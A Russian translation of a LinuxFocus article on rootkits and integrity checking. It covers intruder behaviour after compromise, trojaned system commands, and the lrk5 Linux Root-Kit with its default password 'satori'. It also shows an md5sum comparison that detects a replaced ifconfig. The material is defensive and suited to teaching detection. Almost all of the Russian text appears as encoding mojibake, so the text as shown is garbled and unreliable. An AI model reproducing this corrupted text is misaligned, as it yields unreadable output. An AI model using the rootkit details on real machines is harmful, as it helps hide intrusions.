[LinuxFocus-icon]
äÏÍÏÊ  |  ëÁÒÔÁ  |  éÎÄÅËÓ  |  ðÏÉÓË

îÏ×ÏÓÔÉ | áÒÈÉ×Ù | óÓÙÌËÉ | ðÒÏ LF
[an error occurred while processing this directive]
Frederic Raynal
Á×ÔÏÒ Frédéric Raynal aka Pappy (homepage)

ï Á×ÔÏÒÅ:

Frédéric Raynal ÐÏÌÕÞÉÌ ÓÔÅÐÅÎØ ÄÏËÔÏÒÁ ËÏÍÐØÀÔÅÒÎÙÈ ÎÁÕË ÐÏÓÌÅ ÏÐÕÂÌÉËÏ×ÁÎÉÑ ÄÉÓÓÅÒÔÁÃÉÉ Ï ÍÅÔÏÄÁÈ ÓÏËÒÙÔÉÑ ÉÎÆÏÒÍÁÃÉÉ. ïÎ - ÇÌÁ×ÎÙÊ ÒÅÄÁËÔÏÒ ÆÒÁÎÃÕÚÓËÏÇÏ ÖÕÒÎÁÌÁ MISC, ÐÏÓ×ÑÝÅÎÎÏÇÏ ËÏÍÐØÀÔÅÒÎÏÊ ÂÅÚÏÐÁÓÎÏÓÔÉ. ëÓÔÁÔÉ, ÏÎ ÉÝÅÔ ÒÁÂÏÔÕ × ÎÁÕÞÎÏ-ÉÓÓÌÅÄÏ×ÁÔÅÌØÓËÉÈ É ÏÐÙÔÎÏ-ËÏÎÓÔÒÕËÔÏÒÓËÉÈ ÐÒÏÅËÔÁÈ.



ðÅÒÅ×ÏÄ ÎÁ òÕÓÓËÉÊ:
Kolobynin Alexey <alexey_ak0(at)mail.ru>

óÏÄÅÒÖÁÎÉÅ:

 

òÕÔËÉÔÙ É ÃÅÌÏÓÔÎÏÓÔØ

gate

òÅÚÀÍÅ:

äÁÎÎÁÑ ÓÔÁÔØÑ ÂÙÌÁ ×ÐÅÒ×ÙÅ ÏÐÕÂÌÉËÏ×ÁÎÁ × ÓÐÅÃÉÁÌØÎÏÍ ×ÙÐÕÓËÅ Linux Magazine France, ÐÏÓ×ÑÝÅÎÎÏÍ ÂÅÚÏÐÁÓÎÏÓÔÉ. òÅÄÁËÔÏÒ, Á×ÔÏÒÙ É ÐÅÒÅ×ÏÄÞÉËÉ ÌÀÂÅÚÎÏ ÒÁÚÒÅÛÉÌÉ ÏÐÕÂÌÉËÏ×ÁÔØ ×ÓÅ ÓÔÁÔØÉ ÉÚ ÜÔÏÇÏ ×ÙÐÕÓËÁ ÎÁ LinuxFocus. óÏÏÔ×ÅÔÓÔ×ÅÎÎÏ, LinuxFocus ×ÙÐÕÓÔÉÔ ÉÈ ÓÒÁÚÕ ÖÅ, ËÁË ÏÎÉ ÂÕÄÕÔ ÐÅÒÅ×ÅÄÅÎÙ ÎÁ ÁÎÇÌÉÊÓËÉÊ. óÐÁÓÉÂÏ ×ÓÅÍ, ËÔÏ ÕÞÁÓÔ×ÕÅÔ × ÜÔÏÊ ÒÁÂÏÔÅ. äÁÎÎÙÊ ÏÂÚÏÒ ÂÕÄÅÔ ÐÏ×ÔÏÒÑÔØÓÑ × ËÁÖÄÏÊ ÓÔÁÔØÅ ÉÚ ÜÔÏÊ ÓÅÒÉÉ.

÷ ÓÔÁÔØÅ ÒÁÓÓÍÁÔÒÉ×ÁÀÔÓÑ ÒÁÚÌÉÞÎÙÅ ÄÅÊÓÔ×ÉÑ, ËÏÔÏÒÙÅ ÍÏÖÅÔ ÐÒÅÄÐÒÉÎÑÔØ ×ÚÌÏÍÝÉË ÐÏÓÌÅ ÕÓÐÅÛÎÏÇÏ ÐÒÏÎÉËÎÏ×ÅÎÉÑ ÎÁ ÍÁÛÉÎÕ. ôÁËÖÅ ÍÙ ÏÂÓÕÄÉÍ, ÞÔÏ ÍÏÖÅÔ ÓÄÅÌÁÔØ ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÄÌÑ ÏÂÎÁÒÕÖÅÎÉÑ ×ÚÌÏÍÁ.


_________________ _________________ _________________

 

ïÐÁÓÎÏÓÔØ

ðÒÅÄÐÏÌÏÖÉÍ, ÞÔÏ ×ÚÌÏÍÝÉË ÓÕÍÅÌ ÐÒÏÎÉËÎÕÔØ × ÓÉÓÔÅÍÕ, ËÁËÉÍ ÓÐÏÓÏÂÏÍ - ÎÁÍ ÎÅ ×ÁÖÎÏ. íÙ ÐÏÌÁÇÁÅÍ, ÞÔÏ Õ ÎÅÇÏ ÅÓÔØ ×ÓÅ ÐÒÉ×ÉÌÅÇÉÉ (ÁÄÍÉÎÉÓÔÒÁÔÏÒ, root, ...) ÎÁ ÄÁÎÎÏÊ ÍÁÛÉÎÅ. ÷ ÜÔÏÍ ÓÌÕÞÁÅ ÄÏ×ÅÒÑÔØ ÓÉÓÔÅÍÅ ÓÔÁÎÏ×ÉÔØÓÑ ÂÅÓÓÍÙÓÌÅÎÎÏ, ÄÁÖÅ ÅÓÌÉ ×ÓÅ ÕÔÉÌÉÔÙ, ËÁÖÅÔÓÑ, ÇÏ×ÏÒÑÔ ÎÁÍ, ÞÔÏ ×ÓÅ × ÐÏÒÑÄËÅ. ÷ÚÌÏÍÝÉË ×ÓÅ ÐÏÄÞÉÓÔÉÌ × ÌÏÇÁÈ... ÆÁËÔÉÞÅÓËÉ ÏÎ ÕÀÔÎÏ ÕÔÒÏÉÌÓÑ × ×ÁÛÅÊ ÓÉÓÔÅÍÅ.

åÇÏ ÐÅÒ×ÁÑ ÚÁÄÁÞÁ - ÄÅÊÓÔ×Ï×ÁÔØ ËÁË ÍÏÖÎÏ ÂÏÌÅÅ ÏÓÔÏÒÏÖÎÏ, ÞÔÏÂÙ ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÎÅ ÓÍÏÇ ÚÁÍÅÔÉÔØ ÅÇÏ ÐÒÉÓÕÔÓÔ×ÉÑ. úÁÔÅÍ, ÏÎ ÕÓÔÁÎÁ×ÌÉ×ÁÅÔ ×ÓÅ ÐÒÏÇÒÁÍÍÙ, ËÏÔÏÒÙÅ ÂÕÄÕÔ ÅÍÕ ÎÕÖÎÙ ÄÌÑ ÄÏÓÔÉÖÅÎÉÑ ÃÅÌÅÊ. ðÏÎÑÔÎÏ, ÞÔÏ ÅÓÌÉ ÏÎ ÈÏÞÅÔ ÐÒÏÓÔÏ ÕÎÉÞÔÏÖÉÔØ ×ÓÅ ÄÁÎÎÙÅ, ÔÏ ÎÅ ÂÕÄÅÔ ÓÔÏÌØ ÁËËÕÒÁÔÎÙÍ.

ïÞÅ×ÉÄÎÏ, ÞÔÏ ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÎÅ ÍÏÖÅÔ ÐÏÓÔÏÑÎÎÏ ÂÙÔØ ÐÏÄËÌÀÞÅÎÎÙÍ Ë ÍÁÛÉÎÅ É ÐÒÏÓÌÕÛÉ×ÁÔØ ËÁÖÄÏÅ ÓÏÅÄÉÎÅÎÉÅ. ôÅÍ ÎÅ ÍÅÎÅÅ, ÏÎ ÄÏÌÖÅÎ ÏÂÎÁÒÕÖÉÔØ ×ÔÏÒÖÅÎÉÅ ËÁË ÍÏÖÎÏ ÒÁÎØÛÅ. ÷ÚÌÏÍÁÎÎÁÑ ÓÉÓÔÅÍÁ ÓÔÁÎÏ×ÉÔÓÑ ÂÁÚÏÊ ÄÌÑ ÐÒÏÇÒÁÍÍ ×ÚÌÏÍÝÉËÁ (IRC ÂÏÔ, DDOS, ...). îÁÐÒÉÍÅÒ, ÉÓÐÏÌØÚÕÑ ÓÎÉÆÅÒ, ÏÎ ÍÏÖÅÔ ÐÒÏÓÍÁÔÒÉ×ÁÔØ ×ÓÅ ÓÅÔÅ×ÙÅ ÐÁËÅÔÙ. íÎÏÇÉÅ ÐÒÏÔÏËÏÌÙ ÎÅ ÛÉÆÒÕÀÔ ÄÁÎÎÙÅ É ÐÁÒÏÌÉ (ÎÁÐÒÉÍÅÒ, telnet, rlogin, pop3 É ÄÒÕÇÉÅ). óÏÏÔ×ÅÔÓÔ×ÅÎÎÏ, ÞÅÍ ÂÏÌØÛÅ ×ÒÅÍÅÎÉ ÅÓÔØ Õ ×ÚÌÏÍÝÉËÁ, ÔÅÍ ÂÏÌØÛÅ ÏÎ ÍÏÖÅÔ ÄÅÒÖÁÔØ ÐÏÄ ËÏÎÔÒÏÌÅÍ ÓÅÔØ, × ËÏÔÏÒÏÊ ÎÁÈÏÄÉÔÓÑ ÍÁÛÉÎÁ-ÖÅÒÔ×Á.

ëÁË ÔÏÌØËÏ ÅÇÏ ÐÒÉÓÕÔÓÔ×ÉÅ ÂÕÄÅÔ ÏÂÎÁÒÕÖÅÎÏ, ÓÒÁÚÕ ÐÏÑ×ÌÑÅÔÓÑ ÐÒÏÂÌÅÍÁ: ÍÙ ÎÅ ÚÎÁÅÍ, ÞÔÏ ×ÚÌÏÍÝÉË ÉÚÍÅÎÉÌ × ÓÉÓÔÅÍÅ. ÷ÅÒÏÑÔÎÏ ÏÎ ÐÏÄÍÅÎÉÌ ÏÓÎÏ×ÎÙÅ ËÏÍÁÎÄÙ É ÄÉÁÇÎÏÓÔÉÒÕÀÝÉÅ ÕÔÉÌÉÔÙ, ÞÔÏÂÙ ÓËÒÙÔØ ÓÅÂÑ. ðÏÜÔÏÍÕ ÍÙ ÄÏÌÖÎÙ ÐÏÄÈÏÄÉÔØ Ë ÜÔÏÍÕ ÄÅÌÕ Ó ÏÓÏÂÏÊ ÔÝÁÔÅÌØÎÏÓÔØÀ, ÞÔÏÂÙ ÂÙÔØ Õ×ÅÒÅÎÎÙÍÉ, ÞÔÏ ÎÉÞÅÇÏ ÎÅ ÚÁÂÙÌÉ, ÉÎÁÞÅ ÓÉÓÔÅÍÁ ÂÕÄÅÔ ×ÚÌÏÍÁÎÁ ÓÎÏ×Á.

é ÐÏÓÌÅÄÎÅÅ: ËÁËÉÅ ÍÅÒÙ ÄÏÌÖÎÙ ÂÙÔØ ÐÒÅÄÐÒÉÎÑÔÙ? åÓÔØ Ä×Å ÓÔÒÁÔÅÇÉÉ. ìÉÂÏ ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÐÅÒÅÕÓÔÁÎÁ×ÌÉ×ÁÅÔ ×ÓÀ ÓÉÓÔÅÍÕ, ÌÉÂÏ ÚÁÍÅÎÑÅÔ ÔÏÌØËÏ ÉÓÐÏÒÞÅÎÎÙÅ ÆÁÊÌÙ. èÏÔÑ ÐÏÌÎÁÑ ÕÓÔÁÎÏ×ËÁ É ÚÁÎÉÍÁÅÔ ÍÎÏÇÏ ×ÒÅÍÅÎÉ, ÎÏ ÄÌÑ ÔÏÇÏ ÞÔÏÂÙ ÎÁÊÔÉ ×ÓÅ ÉÚÍÅÎÅÎÎÙÅ ÆÁÊÌÙ É ÂÙÔØ Õ×ÅÒÅÎÎÙÍ, ÞÔÏ ÎÉÞÅÇÏ ÎÅ ÐÒÏÐÕÝÅÎÏ, ÎÕÖÎÏ ÏÞÅÎØ ÍÎÏÇÏ ËÒÏÐÏÔÌÉ×ÏÊ ÒÁÂÏÔÙ.

ëÁËÕÀ ÂÙ ÓÔÒÁÔÅÇÉÀ ×Ù ÎÉ ×ÙÂÒÁÌÉ, ÒÅËÏÍÅÎÄÕÅÔÓÑ ÓÄÅÌÁÔØ ËÏÐÉÀ ÉÚÍÅÎÅÎÎÏÊ ÓÉÓÔÅÍÙ, ÞÔÏÂÙ ÕÚÎÁÔØ ÓÐÏÓÏÂ, ËÏÔÏÒÙÍ ×ÚÌÏÍÝÉË ÓÄÅÌÁÌ Ó×ÏÀ ÒÁÂÏÔÕ. âÏÌÅÅ ÔÏÇÏ, ÍÁÛÉÎÁ ÍÏÇÌÁ ÂÙÔØ ÉÓÐÏÌØÚÏ×ÁÎÁ × ÛÉÒÏËÏÍÁÓÛÔÁÂÎÏÊ ÁÔÁËÅ, É ×Ù ÍÏÖÅÔÅ ÂÙÔØ ×Ï×ÌÅÞÅÎÙ × ÓÕÄÅÂÎÏÅ ÒÁÚÂÉÒÁÔÅÌØÓÔ×Ï. ÷ ÜÔÏÍ ÓÌÕÞÁÅ, ÏÔËÁÚ ÏÔ ÓÏÈÒÁÎÅÎÉÑ ÒÅÚÅÒ×ÎÏÊ ËÏÐÉÉ ÍÏÖÅÔ ÂÙÔØ ÒÁÓÓÍÏÔÒÅÎ ËÁË ÓÏËÒÙÔÉÅ ÕÌÉË, × ÔÏ ×ÒÅÍÑ ËÁË ËÏÐÉÑ ÍÏÖÅÔ ×ÁÓ ÏÐÒÁ×ÄÁÔØ.

 

îÅ×ÉÄÉÍÏÓÔØ ÓÕÝÅÓÔ×ÕÅÔ... ñ ×ÉÄÅÌ ÅÅ!

ïÂÓÕÄÉÍ ÓÅÊÞÁÓ ÎÅÓËÏÌØËÏ ÒÁÚÌÉÞÎÙÈ ÍÅÔÏÄÏ×, ÉÓÐÏÌØÚÕÅÍÙÈ ÄÌÑ ÔÏÇÏ, ÞÔÏÂÙ ÓÔÁÔØ ÎÅ×ÉÄÉÍÙÍ ×Ï ×ÚÌÏÍÁÎÎÏÊ ÓÉÓÔÅÍÅ, ÏÓÔÁ×ÌÑÑ ÐÒÉ ÜÔÏÍ ÚÁ ÓÏÂÏÊ ÍÁËÓÉÍÕÍ ÐÒÉ×ÉÌÅÇÉÊ.

ðÅÒÅÄ ÔÅÍ, ËÁË ÍÙ ÄÏÂÅÒÅÍÓÑ ÄÏ ÓÕÔÉ, ÄÁ×ÁÊÔÅ ÏÐÒÅÄÅÌÉÍÓÑ Ó ÔÅÒÍÉÎÏÌÏÇÉÅÊ:

ðÏÓÌÅ ÐÒÏÎÉËÎÏ×ÅÎÉÑ × ÓÉÓÔÅÍÕ, ×ÚÌÏÍÝÉËÕ ÎÕÖÎÙ ÐÒÏÇÒÁÍÍÙ ÏÂÏÉÈ ÔÉÐÏ×. âÜËÄÏÒÙ ÐÏÚ×ÏÌÑÀÔ ÅÍÕ ÚÁÊÔÉ ÎÁ ÍÁÛÉÎÕ, ÄÁÖÅ ÅÓÌÉ ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÓÍÅÎÉÔ ×ÓÅ ÐÁÒÏÌÉ. ôÒÏÑÎÙ ÏÂÙÞÎÏ ÄÁÀÔ ×ÏÚÍÏÖÎÏÓÔØ ÏÓÔÁ×ÁÔØÓÑ ÎÅÚÁÍÅÞÅÎÎÙÍ.

óÅÊÞÁÓ ÎÁÍ ÎÅ ÂÕÄÅÔ ÒÁÚÎÉÃÙ ÄÁÎÎÁÑ ÐÒÏÇÒÁÍÍÁ Ñ×ÌÑÅÔÓÑ ÔÒÏÑÎÏÍ ÉÌÉ ÂÜËÄÏÒÏÍ. îÁÛÅÊ ÃÅÌØÀ ÂÕÄÅÔ ÐÏËÁÚÁÔØ ÓÕÝÅÓÔ×ÕÀÝÉÅ ÍÅÔÏÄÙ ÉÈ ÒÅÁÌÉÚÁÃÉÉ (ÏÎÉ ÏÞÅÎØ ÐÏÈÏÖÉ) É ÏÂÎÁÒÕÖÅÎÉÑ.

îÁÐÏÓÌÅÄÏË ÚÁÍÅÔÉÍ, ÞÔÏ ÂÏÌØÛÉÎÓÔ×Ï ÄÉÓÔÒÉÂÕÔÉ×Ï× Linux ÐÒÅÄÌÁÇÁÀÔ ÍÅÈÁÎÉÚÍ ÐÒÏ×ÅÒËÉ ÐÏÄÌÉÎÎÏÓÔÉ (Ô.Å. ÏÄÎÏ×ÒÅÍÅÎÎÕÀ ÐÒÏ×ÅÒËÕ ÃÅÌÏÓÔÎÏÓÔÉ ÆÁÊÌÏ× É ÉÈ ÉÓÔÏÞÎÉËÁ - ÎÁÐÒÉÍÅÒ, rpm --checksig). îÁÓÔÏÑÔÅÌØÎÏ ÒÅËÏÍÅÎÄÕÅÍ ×ÏÓÐÏÌØÚÏ×ÁÔØÓÑ ÉÍ ÐÅÒÅÄ ÕÓÔÁÎÏ×ËÏÊ ÐÒÏÇÒÁÍÍÙ ÎÁ ÍÁÛÉÎÕ. åÓÌÉ ×Ù ÐÏÌÕÞÉÔÅ ÉÚÍÅÎÅÎÎÙÊ ÁÒÈÉ× É ÕÓÔÁÎÏ×ÉÔÅ ÐÒÏÇÒÁÍÍÕ ÉÚ ÎÅÇÏ, ÔÏ ×ÚÌÏÍÝÉËÕ ÂÏÌØÛÅ ÎÉÞÅÇÏ ÎÅ ÎÁÄÏ ÂÕÄÅÔ ÄÅÌÁÔØ :( ðÏÌÕÞÉÔÓÑ ÔÏ, ÞÔÏ ÓÌÕÞÁÅÔÓÑ ÐÏÄ Windows Ó Back Orifice.

 

úÁÍÅÎÁ ÐÒÏÇÒÁÍÍ

÷ ÐÒÅÄÙÓÔÏÒÉÉ Unix ÎÅ ÂÙÌÏ ÂÏÌØÛÏÊ ÐÒÏÂÌÅÍÏÊ ÏÂÎÁÒÕÖÉÔØ ×ÔÏÒÖÅÎÉÅ ÎÁ ÍÁÛÉÎÕ:

ó ÔÅÈ ÐÏÒ ×ÚÌÏÍÝÉËÉ ÒÁÚÒÁÂÏÔÁÌÉ ÓÒÅÄÓÔ×Á ÄÌÑ ÉÚÍÅÎÅÎÉÑ ÜÔÉÈ ËÏÍÁÎÄ. ëÁË ÇÒÅËÉ ÐÏÓÔÒÏÉÌÉ ÄÅÒÅ×ÑÎÎÏÇÏ ËÏÎÑ ÄÌÑ ×ÔÏÒÖÅÎÉÑ × ôÒÏÀ, ÔÁË É ÜÔÉ ÐÒÏÇÒÁÍÍÙ ×ÙÇÌÑÄÑÔ ËÁË ÓÔÁÒÙÅ ÚÎÁËÏÍÙÅ É ÐÏÔÏÍÕ ÎÅ ×ÙÚÙ×ÁÀÔ ÐÏÄÏÚÒÅÎÉÊ Õ ÁÄÍÉÎÉÓÔÒÁÔÏÒÁ. ïÄÎÁËÏ, ÜÔÉ ÎÏ×ÙÅ ×ÅÒÓÉÉ ÓËÒÙ×ÁÀÔ ÉÎÆÏÒÍÁÃÉÀ, ÏÔÎÏÓÑÝÕÀÓÑ Ë ×ÚÌÏÍÝÉËÕ. ôÁË ËÁË ÆÁÊÌÙ ÓÏÈÒÁÎÉÌÉ ÔÅ ÖÅ ×ÒÅÍÅÎÎÙÅ ÍÅÔËÉ, ÞÔÏ É Õ ÄÒÕÇÉÈ ÐÒÏÇÒÁÍÍ ÉÚ ÔÏÊ ÖÅ ÄÉÒÅËÔÏÒÉÉ, É ÎÅ ÉÚÍÅÎÉÌÉÓØ ÉÈ ËÏÎÔÒÏÌØÎÙÅ ÓÕÍÍÙ (ÐÒÉ ÐÏÍÏÝÉ ÄÒÕÇÏÇÏ ÔÒÏÑÎÁ), "ÎÁÓÔÏÑÝÉÊ" ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÐÏÌÎÏÓÔØÀ ÏÂÍÁÎÕÔ.

 

Linux Root-Kit

Linux Root-Kit (lrk) - ËÌÁÓÓÉËÁ × Ó×ÏÅÍ ×ÉÄÅ (ÄÁÖÅ ÅÓÌÉ ÎÅÍÎÏÇÏ ÓÔÁÒÏ×ÁÔÁÑ). éÓÈÏÄÎÏ ÒÁÚÒÁÂÏÔÁÎÎÙÊ Lord Somer-ÏÍ, ÓÅÇÏÄÎÑ ÎÁÈÏÄÉÔÓÑ × Ó×ÏÅÊ ÐÑÔÏÊ ×ÅÒÓÉÉ. åÓÔØ ÍÎÏÇÏ ÄÒÕÇÉÈ ÒÕÔËÉÔÏ×, É ÚÄÅÓØ ÍÙ ÔÏÌØËÏ ÏÂÓÕÄÉÍ ×ÏÚÍÏÖÎÏÓÔÉ ×ÙÛÅÕËÁÚÁÎÎÏÇÏ, ÞÔÏÂÙ ÄÁÔØ ×ÁÍ ÐÒÅÄÓÔÁ×ÌÅÎÉÅ Ï ×ÏÚÍÏÖÎÏÓÔÑÈ ÜÔÉÈ ÕÔÉÌÉÔ.

úÁÍÅÎÑÅÍÙÅ ËÏÍÁÎÄÙ ÐÒÅÄÏÓÔÁ×ÌÑÀÔ ÐÒÉ×ÉÌÅÇÉÒÏ×ÁÎÎÙÊ ÄÏÓÔÕÐ Ë ÓÉÓÔÅÍÅ. þÔÏÂÙ ÔÏÔ, ËÔÏ ÉÓÐÏÌØÚÕÅÔ ÜÔÉ ËÏÍÁÎÄÙ, ÎÅ ÚÁÍÅÔÉÌ ÉÚÍÅÎÅÎÉÊ, ÏÎÉ ÚÁÝÉÝÅÎÙ ÐÁÒÏÌÅÍ (ÐÏ ÕÍÏÌÞÁÎÉÀ satori), ÏÎ ÍÏÖÅÔ ÂÙÔØ ÚÁÄÁÎ ÐÒÉ ËÏÍÐÉÌÑÃÉÉ.

üÔÏÔ ËÌÁÓÓÉÞÅÓËÉÊ ÒÕÔËÉÔ ÕÓÔÁÒÅÌ, ÔÁË ËÁË ÎÏ×ÏÅ ÐÏËÏÌÅÎÉÅ ÒÕÔËÉÔÏ× ÎÁÐÒÑÍÕÀ ÁÔÁËÕÀÔ ÓÉÓÔÅÍÎÏÅ ÑÄÒÏ. ë ÔÏÍÕ ÖÅ ×ÅÒÓÉÉ ÉÚÍÅÎÑÅÍÙÈ ÐÒÏÇÒÁÍÍ ÂÏÌØÛÅ ÎÅ ÉÓÐÏÌØÚÕÀÔÓÑ.

 

ïÂÎÁÒÕÖÅÎÉÅ ÒÕÔËÉÔÏ× ÜÔÏÇÏ ×ÉÄÁ

üÔÏÔ ×ÉÄ ÒÕÔËÉÔÏ× ÌÅÇËÏ ÏÂÎÁÒÕÖÉÔØ, ÅÓÌÉ × ÓÉÓÔÅÍÅ ÓÔÒÏÇÁÑ ÐÏÌÉÔÉËÁ ÂÅÚÏÐÁÓÎÏÓÔÉ. ëÒÉÐÔÏÇÒÁÆÉÑ, ÓÏ Ó×ÏÉÍÉ ÈÜÛ-ÆÕÎËÃÉÑÍÉ, ÄÁÅÔ ÎÁÍ ÎÕÖÎÙÊ ÉÎÓÔÒÕÍÅÎÔ:

[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e  ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig`
f06cf5241da897237245114045368267  /sbin/ifconfig

îÅ ÚÎÁÑ, ÞÔÏ ÂÙÌÏ ÉÚÍÅÎÅÎÏ, ÏÎ ÍÏÖÅÔ ÓÒÁÚÕ ÐÏËÁÚÁÔØ, ÞÔÏ ÕÓÔÁÎÏ×ÌÅÎÎÙÊ ifconfig É ifconfig ÉÚ lrk5 - ÒÁÚÌÉÞÎÙ.

ðÏÜÔÏÍÕ, ÓÒÁÚÕ ÐÏÓÌÅ ÕÓÔÁÎÏ×ËÉ ÓÉÓÔÅÍÙ, ÎÅÏÂÈÏÄÉÍÏ ÓÏÈÒÁÎÉÔØ ÈÜÛÉ ×ÁÖÎÙÈ ÆÁÊÌÏ× (×ÅÒÎÅÍÓÑ Ë "×ÁÖÎÙÍ ÆÁÊÌÁÍ" ÐÏÚÖÅ) × ÂÁÚÕ ÄÁÎÎÙÈ, ÞÔÏÂÙ ÉÍÅÔØ ×ÏÚÍÏÖÎÏÓÔØ ËÁË ÍÏÖÎÏ ÂÙÓÔÒÅÅ ÏÂÎÁÒÕÖÉÔØ ÌÀÂÏÅ ÉÚÍÅÎÅÎÉÅ.

üÔÁ ÂÁÚÁ ÄÏÌÖÎÁ ÂÙÔØ ÐÏÍÅÝÅÎÁ ÎÁ ÆÉÚÉÞÅÓËÉ ÎÅ ÐÅÒÅÚÁÐÉÓÙ×ÁÅÍÙÊ ÎÏÓÉÔÅÌØ (ÄÉÓËÅÔÁ, ÎÅ ÐÅÒÅÚÁÐÉÓÙ×ÁÅÍÙÊ CD...). ðÒÅÄÐÏÌÏÖÉÍ, ÞÔÏ ×ÚÌÏÍÝÉË ÐÏÌÕÞÉÌ ÐÒÁ×Á ÁÄÍÉÎÉÓÔÒÁÔÏÒÁ × ÓÉÓÔÅÍÅ. åÓÌÉ ÂÁÚÁ ÄÁÎÎÙÈ ÂÙÌÁ ÐÏÍÅÝÅÎÁ ÎÁ ÒÁÚÄÅÌ ÄÏÓÔÕÐÎÙÊ ÔÏÌØËÏ ÄÌÑ ÞÔÅÎÉÑ, ÔÏ ÅÍÕ ÄÏÓÔÁÔÏÞÎÏ ÐÅÒÅÍÏÎÔÉÒÏ×ÁÔØ ÒÁÚÄÅÌ × ÒÅÖÉÍ ÞÔÅÎÉÑ-ÚÁÐÉÓÉ, ÉÚÍÅÎÉÔØ ÂÁÚÕ É ÚÁÍÏÎÔÉÒÏ×ÁÔØ ÒÁÚÄÅÌ ÎÁÚÁÄ ÔÏÌØËÏ ÄÌÑ ÞÔÅÎÉÑ. åÓÌÉ ÏÎ ÄÏÂÒÏÓÏ×ÅÓÔÎÙÊ, ÔÏ ÄÁÖÅ ÉÚÍÅÎÉÔ ×ÒÅÍÅÎÎÙÅ ÍÅÔËÉ. ðÏÜÔÏÍÕ × ÓÌÅÄÕÀÝÉÊ ÒÁÚ, ËÏÇÄÁ ×Ù ÂÕÄÅÔÅ ÐÒÏ×ÅÒÑÔØ ÃÅÌÏÓÔÎÏÓÔØ, ×Ù ÎÅ Õ×ÉÄÉÔÅ ÎÉËÁËÉÈ ÉÚÍÅÎÅÎÉÊ. ðÒÉÍÅÒ ÐÏËÁÚÙ×ÁÅÔ, ÞÔÏ ÐÒÁ×Á ÁÄÍÉÎÉÓÔÒÁÔÏÒÁ ÎÅ ÄÁÀÔ ÎÕÖÎÏÊ ÚÁÝÉÔÙ ÏÔ ÏÂÎÏ×ÌÅÎÉÑ ÂÁÚÙ ÄÁÎÎÙÈ.

ðÒÉ ÏÂÎÏ×ÌÅÎÉÉ ÓÉÓÔÅÍÙ ×Ù ÄÏÌÖÎÙ ÏÂÎÏ×ÉÔØ É ÂÁÚÕ. ôÁËÉÍ ÏÂÒÁÚÏÍ, ÅÓÌÉ ×Ù ÐÒÏ×ÅÒÉÔÅ ÐÏÄÌÉÎÎÏÓÔØ ÏÂÎÏ×ÌÅÎÉÊ, ÔÏ ÐÏÚÖÅ ÓÍÏÖÅÔÅ ÏÂÎÁÒÕÖÉÔØ ÌÀÂÏÅ ÎÅÖÅÌÁÔÅÌØÎÏÅ ÉÚÍÅÎÅÎÉÅ.

ïÄÎÁËÏ, ÞÔÏÂÙ ÐÒÏ×ÅÒÉÔØ ÃÅÌÏÓÔÎÏÓÔØ ÓÉÓÔÅÍÙ, ÎÅÏÂÈÏÄÉÍÏ ×ÙÐÏÌÎÅÎÉÅ Ä×ÕÈ ÕÓÌÏ×ÉÊ:

  1. ÈÜÛÉ, ×ÙÞÉÓÌÑÅÍÙÅ ÐÏ ÓÉÓÔÅÍÎÙÍ ÆÁÊÌÁÍ, ÄÏÌÖÎÙ ÓÒÁ×ÎÉ×ÁÔØÓÑ Ó ÈÜÛÁÍÉ, ÃÅÌÏÓÔÎÏÓÔÉ ËÏÔÏÒÙÈ ÍÏÖÎÏ ÄÏ×ÅÒÑÔØ ÎÁ 100%, ÏÔÓÀÄÁ - ÎÅÏÂÈÏÄÉÍÏÓÔØ ÓÏÈÒÁÎÑÔØ ÂÁÚÕ ÄÁÎÎÙÈ ÎÁ ÎÏÓÉÔÅÌÅ, ÄÏÓÔÕÐÎÏÍ ÔÏÌØËÏ ÐÏ ÞÔÅÎÉÀ;
  2. ÕÔÉÌÉÔÙ, ËÏÔÏÒÙÍÉ ÍÙ ÐÒÏ×ÅÒÑÅÍ ÃÅÌÏÓÔÎÏÓÔØ, ÄÏÌÖÎÙ ÂÙÔØ "ÞÉÓÔÙÍÉ".

ôÏ ÅÓÔØ, ËÁÖÄÁÑ ÐÒÏ×ÅÒËÁ ÓÉÓÔÅÍÙ ÄÏÌÖÎÁ ÐÒÏ×ÏÄÉÔÓÑ ÕÔÉÌÉÔÁÍÉ, ×ÚÑÔÙÍÉ Ó ÄÒÕÇÏÊ ÓÉÓÔÅÍÙ (ÎÅ ×ÚÌÏÍÁÎÎÏÊ).

 

éÓÐÏÌØÚÏ×ÁÎÉÅ ÄÉÎÁÍÉÞÅÓËÉÈ ÂÉÂÌÉÏÔÅË

ëÁË ÍÙ ×ÉÄÅÌÉ, ÞÔÏÂÙ ÓÔÁÔØ ÎÅ×ÉÄÉÍÙÍ, ÎÁÄÏ ÍÎÏÇÏÅ ÉÚÍÅÎÉÔØ × ÓÉÓÔÅÍÅ. íÎÏÖÅÓÔ×Ï ËÏÍÁÎÄ ÐÏÚ×ÏÌÑÅÔ ÎÁÍ ÕÚÎÁÔØ, ÓÕÝÅÓÔ×ÕÅÔ ÌÉ ÆÁÊÌ, É ËÁÖÄÕÀ ÉÚ ÎÉÈ ÎÅÏÂÈÏÄÉÍÏ ÐÏÄÍÅÎÉÔØ. ôÏ ÖÅ ÓÁÍÏÅ Ó ÓÅÔÅ×ÙÍÉ ÓÏÅÄÉÎÅÎÉÑÍÉ É ÔÅËÕÝÉÍÉ ÐÒÏÃÅÓÓÁÍÉ ÎÁ ÍÁÛÉÎÅ. úÁÂÙÔØ Ï ÐÏÓÌÅÄÎÉÈ - ÇÒÕÂÁÑ ÏÛÉÂËÁ, ÅÓÌÉ ×Ù ÈÏÔÉÔÅ ×ÅÓÔÉ ÓÅÂÑ ÏÓÔÏÒÏÖÎÏ.

